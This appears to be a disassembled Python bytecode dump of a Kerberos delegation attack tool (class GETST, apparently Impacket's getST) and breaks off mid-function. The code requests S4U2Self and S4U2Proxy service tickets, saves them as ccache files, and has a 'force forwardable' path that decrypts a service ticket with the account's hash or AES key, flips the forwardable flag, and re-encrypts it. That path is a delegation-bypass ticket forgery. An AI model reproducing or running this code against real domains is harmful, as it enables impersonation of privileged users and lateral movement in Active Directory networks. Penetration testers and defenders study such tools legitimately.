UNPACK_SEQUENCE STORE_NAME domain STORE_NAME username STORE_NAME password SETUP_EXCEPT to 926 LOAD_NAME domain LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME logging LOAD_METHOD critical LOAD_CONST 'Domain should be specified!' CALL_METHOD POP_TOP LOAD_NAME sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_NAME password LOAD_CONST '' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME username LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME options LOAD_ATTR hashes LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME options LOAD_ATTR no_pass LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME options LOAD_ATTR aesKey LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('getpass',) IMPORT_NAME getpass IMPORT_FROM getpass STORE_NAME getpass POP_TOP LOAD_NAME getpass LOAD_CONST 'Password:' CALL_FUNCTION STORE_NAME password LOAD_NAME options LOAD_ATTR aesKey LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_NAME options STORE_ATTR k LOAD_NAME GETST LOAD_NAME username LOAD_NAME password LOAD_NAME domain LOAD_NAME options CALL_FUNCTION STORE_NAME executer LOAD_NAME executer LOAD_METHOD run CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 1008 DUP_TOP LOAD_NAME Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_NAME e POP_TOP SETUP_FINALLY to 994 LOAD_NAME logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_NAME logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME traceback STORE_NAME traceback LOAD_NAME traceback LOAD_METHOD print_exc CALL_METHOD POP_TOP LOAD_NAME print LOAD_NAME str LOAD_NAME e CALL_FUNCTION CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_NAME e DELETE_NAME e END_FINALLY POP_EXCEPT JUMP_FORWARD to 1008 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GETST' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7faac02745d0, file "f.py", line 44> LOAD_CONST 'GETST.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object saveTicket at 0x7faac0274030, file "f.py", line 59> LOAD_CONST 'GETST.saveTicket' MAKE_FUNCTION STORE_NAME saveTicket LOAD_CONST <code object doS4U2ProxyWithAdditionalTicket at 0x7faac02749c0, file "f.py", line 66> LOAD_CONST 'GETST.doS4U2ProxyWithAdditionalTicket' MAKE_FUNCTION STORE_NAME doS4U2ProxyWithAdditionalTicket LOAD_CONST <code object doS4U at 0x7faac0274f60, file "f.py", line 293> LOAD_CONST 'GETST.doS4U' MAKE_FUNCTION STORE_NAME doS4U LOAD_CONST <code object run at 0x7faac0274ae0, file "f.py", line 622> LOAD_CONST 'GETST.run' MAKE_FUNCTION STORE_NAME run LOAD_CONST None RETURN_VALUE LOAD_FAST password LOAD_FAST self STORE_ATTR _GETST__password LOAD_FAST target LOAD_FAST self STORE_ATTR _GETST__user LOAD_FAST domain LOAD_FAST self STORE_ATTR _GETST__domain LOAD_CONST '' LOAD_FAST self STORE_ATTR _GETST__lmhash LOAD_CONST '' LOAD_FAST self STORE_ATTR _GETST__nthash LOAD_FAST options LOAD_ATTR aesKey LOAD_FAST self STORE_ATTR _GETST__aesKey LOAD_FAST options LOAD_FAST self STORE_ATTR _GETST__options LOAD_FAST options LOAD_ATTR dc_ip LOAD_FAST self STORE_ATTR _GETST__kdcHost LOAD_FAST options LOAD_ATTR force_forwardable LOAD_FAST self STORE_ATTR _GETST__force_forwardable LOAD_FAST options LOAD_ATTR additional_ticket LOAD_FAST self STORE_ATTR _GETST__additional_ticket LOAD_CONST None LOAD_FAST self STORE_ATTR _GETST__saveFileName LOAD_FAST options LOAD_ATTR hashes LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST options LOAD_ATTR hashes LOAD_METHOD split LOAD_CONST ':' CALL_METHOD UNPACK_SEQUENCE LOAD_FAST self STORE_ATTR _GETST__lmhash LOAD_FAST self STORE_ATTR _GETST__nthash LOAD_CONST None RETURN_VALUE LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST 'Saving ticket in %s' LOAD_FAST self LOAD_ATTR _GETST__saveFileName LOAD_CONST '.ccache' BINARY_ADD BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL CCache CALL_FUNCTION STORE_FAST ccache LOAD_FAST ccache LOAD_METHOD fromTGS LOAD_FAST ticket LOAD_FAST sessionKey LOAD_FAST sessionKey CALL_METHOD POP_TOP LOAD_FAST ccache LOAD_METHOD saveFile LOAD_FAST self LOAD_ATTR _GETST__saveFileName LOAD_CONST '.ccache' BINARY_ADD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST additional_ticket_path CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL logging LOAD_METHOD error LOAD_CONST "Ticket %s doesn't exist" LOAD_FAST additional_ticket_path BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL exit LOAD_CONST 0 CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_FORWARD to 1718 LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST tgt LOAD_GLOBAL AS_REP CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST decodedTGT LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '\tUsing additional ticket %s instead of S4U2Self' LOAD_FAST additional_ticket_path BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL CCache LOAD_METHOD loadFile LOAD_FAST additional_ticket_path CALL_METHOD STORE_FAST ccache LOAD_FAST ccache LOAD_ATTR credentials LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR header LOAD_CONST 'server' BINARY_SUBSCR LOAD_METHOD prettyPrint CALL_METHOD STORE_FAST principal LOAD_FAST ccache LOAD_METHOD getCredential LOAD_FAST principal LOAD_METHOD decode CALL_METHOD CALL_METHOD STORE_FAST creds LOAD_FAST creds LOAD_METHOD toTGS LOAD_FAST principal CALL_METHOD STORE_FAST TGS LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST TGS LOAD_CONST 'KDC_REP' BINARY_SUBSCR LOAD_GLOBAL TGS_REP CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST tgs LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'TGS_REP' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_FAST tgs LOAD_METHOD prettyPrint CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _GETST__force_forwardable EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST nthash LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_EXCEPT to 220 LOAD_GLOBAL unhexlify LOAD_FAST nthash CALL_FUNCTION STORE_FAST nthash POP_BLOCK JUMP_FORWARD to 240 DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 240 END_FINALLY LOAD_GLOBAL isinstance LOAD_FAST aesKey LOAD_GLOBAL str CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 266 LOAD_GLOBAL unhexlify LOAD_FAST aesKey CALL_FUNCTION STORE_FAST aesKey POP_BLOCK JUMP_FORWARD to 288 DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 288 END_FINALLY LOAD_FAST self LOAD_ATTR _GETST__password LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _GETST__user LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST nthash EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL compute_nthash LOAD_FAST self LOAD_ATTR _GETST__password CALL_FUNCTION STORE_FAST nthash LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'NTHash' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_GLOBAL hexlify LOAD_FAST nthash CALL_FUNCTION LOAD_METHOD decode CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST aesKey EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_METHOD upper CALL_METHOD LOAD_FAST self LOAD_ATTR _GETST__user BINARY_ADD STORE_FAST salt LOAD_GLOBAL _AES256CTS LOAD_ATTR string_to_key LOAD_FAST self LOAD_ATTR _GETST__password LOAD_FAST salt LOAD_CONST None LOAD_CONST ('params',) CALL_FUNCTION LOAD_ATTR contents STORE_FAST aesKey LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'AESKey' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_GLOBAL hexlify LOAD_FAST aesKey CALL_FUNCTION LOAD_METHOD decode CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'cipher' BINARY_SUBSCR STORE_FAST cipherText LOAD_GLOBAL _enctype_table LOAD_GLOBAL int LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'etype' BINARY_SUBSCR CALL_FUNCTION BINARY_SUBSCR STORE_FAST newCipher LOAD_FAST newCipher LOAD_ATTR enctype LOAD_GLOBAL Enctype LOAD_ATTR RC4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Key LOAD_FAST newCipher LOAD_ATTR enctype LOAD_FAST nthash CALL_FUNCTION STORE_FAST key JUMP_FORWARD to 550 LOAD_GLOBAL Key LOAD_FAST newCipher LOAD_ATTR enctype LOAD_FAST aesKey CALL_FUNCTION STORE_FAST key LOAD_FAST newCipher LOAD_METHOD decrypt LOAD_FAST key LOAD_CONST 2 LOAD_FAST cipherText CALL_METHOD STORE_FAST plainText LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST plainText LOAD_GLOBAL EncTicketPart CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST encTicketPart LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket from S4U2self flags: ' LOAD_GLOBAL str LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR CALL_FUNCTION BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket from S4U2self is' LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '' JUMP_FORWARD to 640 LOAD_CONST ' not' BINARY_ADD LOAD_CONST ' forwardable' BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '\tForcing the service ticket to be forwardable' CALL_METHOD POP_TOP LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_METHOD asBinary CALL_METHOD STORE_FAST flagBits LOAD_FAST flagBits LOAD_CONST None LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value BUILD_SLICE BINARY_SUBSCR LOAD_CONST '1' BINARY_ADD LOAD_FAST flagBits LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value LOAD_CONST 1 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST flagBits LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_ATTR clone LOAD_FAST flagBits LOAD_CONST ('value',) CALL_FUNCTION LOAD_FAST encTicketPart LOAD_CONST 'flags' STORE_SUBSCR LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket flags after modification: ' LOAD_GLOBAL str LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR CALL_FUNCTION BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket now is' LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '' JUMP_FORWARD to 788 LOAD_CONST ' not' BINARY_ADD LOAD_CONST ' forwardable' BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST encTicketPart CALL_METHOD STORE_FAST encodedEncTicketPart LOAD_FAST newCipher LOAD_METHOD encrypt LOAD_FAST key LOAD_CONST 2 LOAD_FAST encodedEncTicketPart LOAD_CONST None CALL_METHOD STORE_FAST cipherText LOAD_FAST cipherText LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'cipher' STORE_SUBSCR LOAD_GLOBAL Ticket CALL_FUNCTION STORE_FAST ticketTGT LOAD_FAST ticketTGT LOAD_METHOD from_asn1 LOAD_FAST decodedTGT LOAD_CONST 'ticket' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_GLOBAL Ticket CALL_FUNCTION STORE_FAST ticket LOAD_FAST ticket LOAD_METHOD from_asn1 LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_GLOBAL AP_REQ CALL_FUNCTION STORE_FAST apReq LOAD_CONST 5 LOAD_FAST apReq LOAD_CONST 'pvno' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ApplicationTagNumbers LOAD_ATTR AP_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST apReq LOAD_CONST 'msg-type' STORE_SUBSCR LOAD_GLOBAL list CALL_FUNCTION STORE_FAST opts LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_FAST opts CALL_METHOD LOAD_FAST apReq LOAD_CONST 'ap-options' STORE_SUBSCR LOAD_GLOBAL seq_set LOAD_FAST apReq LOAD_CONST 'ticket' LOAD_FAST ticketTGT LOAD_ATTR to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL Authenticator CALL_FUNCTION STORE_FAST authenticator LOAD_CONST 5 LOAD_FAST authenticator LOAD_CONST 'authenticator-vno' STORE_SUBSCR LOAD_GLOBAL str LOAD_FAST decodedTGT LOAD_CONST 'crealm' BINARY_SUBSCR CALL_FUNCTION LOAD_FAST authenticator LOAD_CONST 'crealm' STORE_SUBSCR LOAD_GLOBAL Principal CALL_FUNCTION STORE_FAST clientName LOAD_FAST clientName LOAD_METHOD from_asn1 LOAD_FAST decodedTGT LOAD_CONST 'crealm' LOAD_CONST 'cname' CALL_METHOD POP_TOP LOAD_GLOBAL seq_set LOAD_FAST authenticator LOAD_CONST 'cname' LOAD_FAST clientName LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD utcnow CALL_METHOD STORE_FAST now LOAD_FAST now LOAD_ATTR microsecond LOAD_FAST authenticator LOAD_CONST 'cusec' STORE_SUBSCR LOAD_GLOBAL KerberosTime LOAD_METHOD to_asn1 LOAD_FAST now CALL_METHOD LOAD_FAST authenticator LOAD_CONST 'ctime' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST authenticator CALL_METHOD STORE_FAST encodedAuthenticator LOAD_FAST cipher LOAD_METHOD encrypt LOAD_FAST sessionKey LOAD_CONST 7 LOAD_FAST encodedAuthenticator LOAD_CONST None CALL_METHOD STORE_FAST encryptedEncodedAuthenticator LOAD_GLOBAL noValue LOAD_FAST apReq LOAD_CONST 'authenticator' STORE_SUBSCR LOAD_FAST cipher LOAD_ATTR enctype LOAD_FAST apReq LOAD_CONST 'authenticator' BINARY_SUBSCR LOAD_CONST 'etype' STORE_SUBSCR LOAD_FAST encryptedEncodedAuthenticator LOAD_FAST apReq LOAD_CONST 'authenticator' BINARY_SUBSCR LOAD_CONST 'cipher' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST apReq CALL_METHOD STORE_FAST encodedApReq LOAD_GLOBAL TGS_REQ CALL_FUNCTION STORE_FAST tgsReq LOAD_CONST 5 LOAD_FAST tgsReq LOAD_CONST 'pvno' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ApplicationTagNumbers LOAD_ATTR TGS_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'msg-type' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR PreAuthenticationDataTypes LOAD_ATTR PA_TGS_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'padata-type' STORE_SUBSCR LOAD_FAST encodedApReq LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'padata-value' STORE_SUBSCR LOAD_GLOBAL PA_PAC_OPTIONS CALL_FUNCTION STORE_FAST paPacOptions LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_GLOBAL constants LOAD_ATTR PAPacOptions LOAD_ATTR resource_based_constrained_delegation LOAD_ATTR value BUILD_TUPLE CALL_METHOD LOAD_FAST paPacOptions LOAD_CONST 'flags' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 STORE_SUBSCR LOAD_GLOBAL constants LOAD_ATTR PreAuthenticationDataTypes LOAD_ATTR PA_PAC_OPTIONS LOAD_ATTR value LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'padata-type' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST paPacOptions CALL_METHOD LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'padata-value' STORE_SUBSCR LOAD_GLOBAL seq_set LOAD_FAST tgsReq LOAD_CONST 'req-body' CALL_FUNCTION STORE_FAST reqBody LOAD_GLOBAL list CALL_FUNCTION STORE_FAST opts LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR cname_in_addl_tkt LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR canonicalize LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR forwardable LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR renewable LOAD_ATTR value CALL_METHOD POP_TOP LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_FAST opts CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'kdc-options' STORE_SUBSCR LOAD_GLOBAL Principal LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR spn LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_SRV_INST LOAD_ATTR value LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST service2 LOAD_GLOBAL seq_set LOAD_FAST reqBody LOAD_CONST 'sname' LOAD_FAST service2 LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_FAST reqBody LOAD_CONST 'realm' STORE_SUBSCR LOAD_FAST ticket LOAD_METHOD to_asn1 LOAD_GLOBAL TicketAsn1 CALL_FUNCTION CALL_METHOD STORE_FAST myTicket LOAD_GLOBAL seq_set_iter LOAD_FAST reqBody LOAD_CONST 'additional-tickets' LOAD_FAST myTicket BUILD_TUPLE CALL_FUNCTION POP_TOP LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD utcnow CALL_METHOD LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_CONST 1 LOAD_CONST ('days',) CALL_FUNCTION BINARY_ADD STORE_FAST now LOAD_GLOBAL KerberosTime LOAD_METHOD to_asn1 LOAD_FAST now CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'till' STORE_SUBSCR LOAD_GLOBAL random LOAD_METHOD getrandbits LOAD_CONST 31 CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'nonce' STORE_SUBSCR LOAD_GLOBAL seq_set_iter LOAD_FAST reqBody LOAD_CONST 'etype' LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR rc4_hmac LOAD_ATTR value CALL_FUNCTION LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR des3_cbc_sha1_kd LOAD_ATTR value CALL_FUNCTION LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR des_cbc_md5 LOAD_ATTR value CALL_FUNCTION LOAD_GLOBAL int LOAD_FAST cipher LOAD_ATTR enctype CALL_FUNCTION BUILD_TUPLE CALL_FUNCTION POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST tgsReq CALL_METHOD STORE_FAST message LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '\tRequesting S4U2Proxy' CALL_METHOD POP_TOP LOAD_GLOBAL sendReceive LOAD_FAST message LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_FAST kdcHost CALL_FUNCTION STORE_FAST r LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST r LOAD_GLOBAL TGS_REP CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST tgs LOAD_FAST tgs LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'cipher' BINARY_SUBSCR STORE_FAST cipherText LOAD_FAST cipher LOAD_METHOD decrypt LOAD_FAST sessionKey LOAD_CONST 8 LOAD_FAST cipherText CALL_METHOD STORE_FAST plainText LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST plainText LOAD_GLOBAL EncTGSRepPart CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST encTGSRepPart LOAD_GLOBAL Key LOAD_FAST encTGSRepPart LOAD_CONST 'key' BINARY_SUBSCR LOAD_CONST 'keytype' BINARY_SUBSCR LOAD_FAST encTGSRepPart LOAD_CONST 'key' BINARY_SUBSCR LOAD_CONST 'keyvalue' BINARY_SUBSCR CALL_FUNCTION STORE_FAST newSessionKey LOAD_GLOBAL _enctype_table LOAD_FAST encTGSRepPart LOAD_CONST 'key' BINARY_SUBSCR LOAD_CONST 'keytype' BINARY_SUBSCR BINARY_SUBSCR STORE_FAST cipher LOAD_FAST r LOAD_FAST cipher LOAD_FAST sessionKey LOAD_FAST newSessionKey BUILD_TUPLE RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST tgt LOAD_GLOBAL AS_REP CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST decodedTGT LOAD_GLOBAL Ticket CALL_FUNCTION STORE_FAST ticket LOAD_FAST ticket LOAD_METHOD from_asn1 LOAD_FAST decodedTGT LOAD_CONST 'ticket' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_GLOBAL AP_REQ CALL_FUNCTION STORE_FAST apReq LOAD_CONST 5 LOAD_FAST apReq LOAD_CONST 'pvno' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ApplicationTagNumbers LOAD_ATTR AP_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST apReq LOAD_CONST 'msg-type' STORE_SUBSCR LOAD_GLOBAL list CALL_FUNCTION STORE_FAST opts LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_FAST opts CALL_METHOD LOAD_FAST apReq LOAD_CONST 'ap-options' STORE_SUBSCR LOAD_GLOBAL seq_set LOAD_FAST apReq LOAD_CONST 'ticket' LOAD_FAST ticket LOAD_ATTR to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL Authenticator CALL_FUNCTION STORE_FAST authenticator LOAD_CONST 5 LOAD_FAST authenticator LOAD_CONST 'authenticator-vno' STORE_SUBSCR LOAD_GLOBAL str LOAD_FAST decodedTGT LOAD_CONST 'crealm' BINARY_SUBSCR CALL_FUNCTION LOAD_FAST authenticator LOAD_CONST 'crealm' STORE_SUBSCR LOAD_GLOBAL Principal CALL_FUNCTION STORE_FAST clientName LOAD_FAST clientName LOAD_METHOD from_asn1 LOAD_FAST decodedTGT LOAD_CONST 'crealm' LOAD_CONST 'cname' CALL_METHOD POP_TOP LOAD_GLOBAL seq_set LOAD_FAST authenticator LOAD_CONST 'cname' LOAD_FAST clientName LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD utcnow CALL_METHOD STORE_FAST now LOAD_FAST now LOAD_ATTR microsecond LOAD_FAST authenticator LOAD_CONST 'cusec' STORE_SUBSCR LOAD_GLOBAL KerberosTime LOAD_METHOD to_asn1 LOAD_FAST now CALL_METHOD LOAD_FAST authenticator LOAD_CONST 'ctime' STORE_SUBSCR LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'AUTHENTICATOR' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_FAST authenticator LOAD_METHOD prettyPrint CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL print LOAD_CONST '\n' CALL_FUNCTION POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST authenticator CALL_METHOD STORE_FAST encodedAuthenticator LOAD_FAST cipher LOAD_METHOD encrypt LOAD_FAST sessionKey LOAD_CONST 7 LOAD_FAST encodedAuthenticator LOAD_CONST None CALL_METHOD STORE_FAST encryptedEncodedAuthenticator LOAD_GLOBAL noValue LOAD_FAST apReq LOAD_CONST 'authenticator' STORE_SUBSCR LOAD_FAST cipher LOAD_ATTR enctype LOAD_FAST apReq LOAD_CONST 'authenticator' BINARY_SUBSCR LOAD_CONST 'etype' STORE_SUBSCR LOAD_FAST encryptedEncodedAuthenticator LOAD_FAST apReq LOAD_CONST 'authenticator' BINARY_SUBSCR LOAD_CONST 'cipher' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST apReq CALL_METHOD STORE_FAST encodedApReq LOAD_GLOBAL TGS_REQ CALL_FUNCTION STORE_FAST tgsReq LOAD_CONST 5 LOAD_FAST tgsReq LOAD_CONST 'pvno' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ApplicationTagNumbers LOAD_ATTR TGS_REQ LOAD_ATTR value 